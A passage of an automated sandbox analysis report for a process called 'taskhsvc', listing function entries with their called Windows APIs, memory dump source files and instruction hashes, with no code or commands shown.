                                        • Instruction ID: ae08076b14753c6fccbee745f83b63c62d853a7724ff2ccf9d41a4ebc7cc20f6
                                        • Opcode Fuzzy Hash: bc5d8f6c519d9eb0a18866bccd8c2d43f42e09d24701df5d75c338e695869199
                                        • Instruction Fuzzy Hash: D801D3B0908305AFCB00EF68D54665EBBE0AF84758F01D90CA5A8AB341E778D8858F66
                                        Function 00D19204 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31networkCOMMON
                                        Download Yara Rule
                                        APIs
                                        • WSAStartup.WS2_32 ref: 00D1922D
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D19286
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$Startup
                                        • String ID: H
                                        • API String ID: 3981666929-69643886
                                        • Opcode ID: 6941252ea89fa0013aa787a3c569577e7d3015190473125079531a1aecf58ed2
                                        • Instruction ID: 98f4d9911aa01ac85344e4099e8ba52453f5336f4d108c3b77d2dfa1108ab36c
                                        • Opcode Fuzzy Hash: 6941252ea89fa0013aa787a3c569577e7d3015190473125079531a1aecf58ed2
                                        • Instruction Fuzzy Hash: 2C013170A04204EFDB10DF68D95578DBBF0BB49304F41895DE594AB390D7749984CF96
                                        Function 00BEAEF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failsetsockopt
                                        • String ID: rs
                                        • API String ID: 2656814134-1216979227
                                        • Opcode ID: 4119ce06d53d3c0e4ee4d9bc3509caf687224aa6d26170b47d0371c2fe9c3f63
                                        • Instruction ID: 991fb3a4fa3c8ce747de16c985da1455410abacb2ffcdfb3c31e60ad98f18570
                                        • Opcode Fuzzy Hash: 4119ce06d53d3c0e4ee4d9bc3509caf687224aa6d26170b47d0371c2fe9c3f63
                                        • Instruction Fuzzy Hash: D8F037B09003069FCB00EF6DC94166EBBF4AB44314F018628E969EB3D0E774A9058F92
                                        Function 00D12E50 Relevance: 4.7, APIs: 3, Instructions: 197COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00D12F7F
                                          • Part of subcall function 00DF8710: strlen.MSVCRT ref: 00DF872A
                                          • Part of subcall function 00DF8710: malloc.MSVCRT ref: 00DF8736
                                          • Part of subcall function 00DF8710: strlen.MSVCRT ref: 00DF8740
                                          • Part of subcall function 00DF8710: malloc.MSVCRT ref: 00DF874C
                                          • Part of subcall function 00DF8710: free.MSVCRT ref: 00DF87AC
                                          • Part of subcall function 00D12CAF: __stack_chk_fail.LIBSSP-0 ref: 00D12D34
                                        • abort.MSVCRT ref: 00D131E3
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D13200
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabortmallocstrlen$free
                                        • String ID:
                                        • API String ID: 2096595788-0
                                        • Opcode ID: 31a2cac16edbf0025e246dd8c2aa09b94cb620a4819ae8ee5b8fe26786ba3688
                                        • Instruction ID: d80fe358943907670edc3c666c4b80536b56857770a7049852d3a1660a395c83
                                        • Opcode Fuzzy Hash: 31a2cac16edbf0025e246dd8c2aa09b94cb620a4819ae8ee5b8fe26786ba3688
                                        • Instruction Fuzzy Hash: DFA1B7B8A063199FCB10DF25D98969DBBF4FF48744F01C4A9E488A7340DB749A85CF62
                                        Function 00D2EE71 Relevance: 4.7, APIs: 3, Instructions: 183COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D2E7FD: __stack_chk_fail.LIBSSP-0 ref: 00D2E852
                                        • free.MSVCRT ref: 00D2EF2B
                                          • Part of subcall function 00D2158B: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D13E8F), ref: 00D215E4
                                          • Part of subcall function 00D2158B: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D13E8F), ref: 00D21623
                                          • Part of subcall function 00D2158B: memcpy.MSVCRT ref: 00D2164A
                                          • Part of subcall function 00D2158B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D13E8F), ref: 00D2165D
                                          • Part of subcall function 00D19D53: __stack_chk_fail.LIBSSP-0 ref: 00D19DB3
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D2F10C
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$freememcpy
                                        • String ID:
                                        • API String ID: 1333076341-0
                                        • Opcode ID: 26871ae892b874b6132369855f5c2abe7246af342f2fdce33e021a03c2dedf2a
                                        • Instruction ID: 95eca5fc1ca3b6af81b93a101c7e526265c1fd62a522cf296cb0f78da09f5f8e
                                        • Opcode Fuzzy Hash: 26871ae892b874b6132369855f5c2abe7246af342f2fdce33e021a03c2dedf2a
                                        • Instruction Fuzzy Hash: 7F81C374904328DFDB10EFA8E68569DBBF0FF58318F159829E984A7241E7749984CF22
                                        Function 00D2587B Relevance: 4.6, APIs: 3, Instructions: 99COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
